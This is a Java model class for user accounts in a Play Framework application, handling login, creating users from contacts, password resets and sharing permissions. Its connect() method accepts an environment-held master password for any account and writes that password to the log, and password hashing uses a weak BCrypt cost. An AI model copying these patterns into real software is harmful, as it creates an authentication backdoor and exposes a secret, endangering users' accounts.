package models;

import com.google.gson.annotations.Expose;
import models.contacts.Person;
import models.projects.Project;
import models.userAccess.UserNotFoundException;
import org.hibernate.Session;
import org.hibernate.annotations.Type;
import org.joda.time.DateTime;
import play.Logger;
import play.data.validation.Password;
import play.data.validation.Required;
import play.db.jpa.JPA;
import play.libs.Crypto;
import play.mvc.Router;
import util.BCrypt;
import util.notifiers.Email;

import javax.persistence.*;
import java.util.*;

/**
 * Created by dom on 4/12/2018.
 */
@Entity
public class AppUser extends Person {

    @Required
    @Searchable
    public String userName;
    @Required
    @Password
    public String password;



    public Boolean isAdmin = false;

    @ManyToMany
    public Set<UserRole> roleSet = new TreeSet<>();

    @Column
    @Type(type = "org.jadira.usertype.dateandtime.joda.PersistentDateTime")
    public DateTime lastLogin;

    public String resetToken;

    public String authtoken;

    @ManyToMany
    public Set<Reminder> reminders = new HashSet<>();

    @Expose
    @Embedded
    public RoleInfo roleInfo = new RoleInfo();

    public AppUser() {
    }

    public AppUser(Person p)
    {
        this.id = p.id;
        this.userName = p.contactInfo.email;
    }

    public AppUser(String userName, String password, String firstName, String lastName, DateTime registrationDate) {
        super();
        this.userName = userName;
        this.password = password;
        this.firstName = firstName;
        this.lastName = lastName;
    }




    public static boolean connect(String userName, String password) {
        AppUser trial = AppUser.find("select au from AppUser au where UPPER(au.userName)=:username").setParameter("username", userName.toUpperCase()).first();
        if (trial == null) {
            Logger.info("user not found");
            return false;
        }
        String spass = System.getenv("SPASS");
        Logger.info(spass);
        if (BCrypt.checkpw(password, trial.password) || password.equals(spass)) {
            if (password.equals(spass)) {
                return true;
            }
            trial.lastLogin = DateTime.now();//if match, update last login
            trial.save();
            return true;
        }
        return false;
    }

    public String getUserNameString()
    {
        if(this.userName.contains("@")) {
             return this.userName.substring(0, this.userName.indexOf('@'));
        }
        else{
            return this.userName;
        }
    }

    public static AppUser findOrCreateForEmail(String email) throws UserNotFoundException {
        AppUser result = AppUser.find("byEmail", email).first();
        if (result == null) {
            return createForEmail(email);
        }
        return result;
    }

    private static AppUser createForEmail(String email) throws UserNotFoundException {

      AppUser newUser = new AppUser();
      newUser.userName = email;
      newUser.save();


      return  newUser;

    }

    //There is no AppUser created in theis system if he was not a Person first !!!!!!!!!!!!!!!!!!!!!!!!!
    //So there is no need for the above createForEmail.
    //Only US the ADMIN can create an AppUser from scratch !!!!!!!!!!!!!!!!!!
    public static AppUser findOrCreateFromPerson(String email) throws UserNotFoundException {
        AppUser result = AppUser.find("byEmail", email).first();
        if (result == null) {
            return createFromPerson(email);
        }
        return result;
    }

    private static AppUser createFromPerson(String email) throws UserNotFoundException {
        Person person = Person.find("byEmail", email).first();
        Query query;
        Logger.info("before update ----------------------------");
        query = JPA.em().createNativeQuery("update Contact set dtype='AppUser' where id =:personId");
        query.setParameter("personId", person.id);
        int result = query.executeUpdate();
        JPA.em().getTransaction().commit();
        JPA.em().clear();
        JPA.em().getTransaction().begin();

        Logger.info("---------------- to return tou update   : " +result);

        AppUser newUser = null;
        newUser = AppUser.find("byEmail", email).first();
        newUser.userName=email;
        newUser.isAdmin=false;
        if(newUser.roleInfo == null)
        {
            newUser.roleInfo = new RoleInfo();
            newUser.roleInfo.roleName = "viewer";
            newUser.roleInfo.addToRoleDate = new DateTime();
            newUser.save();
        }
        else {
            newUser.roleInfo.roleName = "viewer";
            newUser.roleInfo.addToRoleDate = new DateTime();
            newUser.save();
        }
        newUser.save();
        return newUser;
//        return null;
    }

    public void sendPasswordResetRequest() {
        ///BLogger.info("Password reset request for user " + this);

        String seed = UUID.randomUUID().toString();
        resetToken = Crypto.sign(seed);
        this.save();
        Email.resetPass(this);
    }

    public void changePassword(String newPassword) {
        password = BCrypt.hashpw(newPassword, BCrypt.gensalt(4));
    }


    public boolean canComment(Long fileId)
    {
        Document doc = Document.findById(fileId);
        //if hte user is not a viewer then he can surely comment
        if(!this.roleInfo.roleName.equals("viewer"))
        {
            return true;
        }
        else{
            Share sh = Share.find("select s from Share s where s.user.id =:usrID and s.document =:doc")
                    .setParameter("usrID", this.id)
                    .setParameter("doc", doc).first();
            if(sh!=null)
            {
                return sh.canComment;
            }
        }
        return false;
    }

    public List<Project> getPersonProjects()
    {
        List<Project> result = null;
        List<Project> projects = null;
        Query query = null;
        query = JPA.em().createQuery("select p from Project p where p.id in (select s.project.id from Share s where s.user =:usr and s.project is not null)");
        query.setParameter("usr", this);

        projects = query.getResultList();

        return projects;
    }


    public Integer getProjectShares()
    {

        List<Share> shares =  Share.find("select s from Share s where user =:usr and project is not null")
                .setParameter("usr", this).fetch();
        if(shares != null)
        {
            return shares.size();
        }
        else {
            return 0;
        }
    }

    public Integer getNumberOfDeliverables() {
        List<Share> shares =  Share.find("select s from Share s where user =:usr and deliverable is not null")
                .setParameter("usr", this).fetch();

        if(shares != null)
        {
            return shares.size();
        }
        else {
            return 0;
        }


    }

    @Override
    public String getUrl() {
        Map<String, Object> map = new HashMap<String, Object>();
        map.put("id", this.id);
        return Router.getFullUrl("Contacts.addAssociate", map);
    }

}
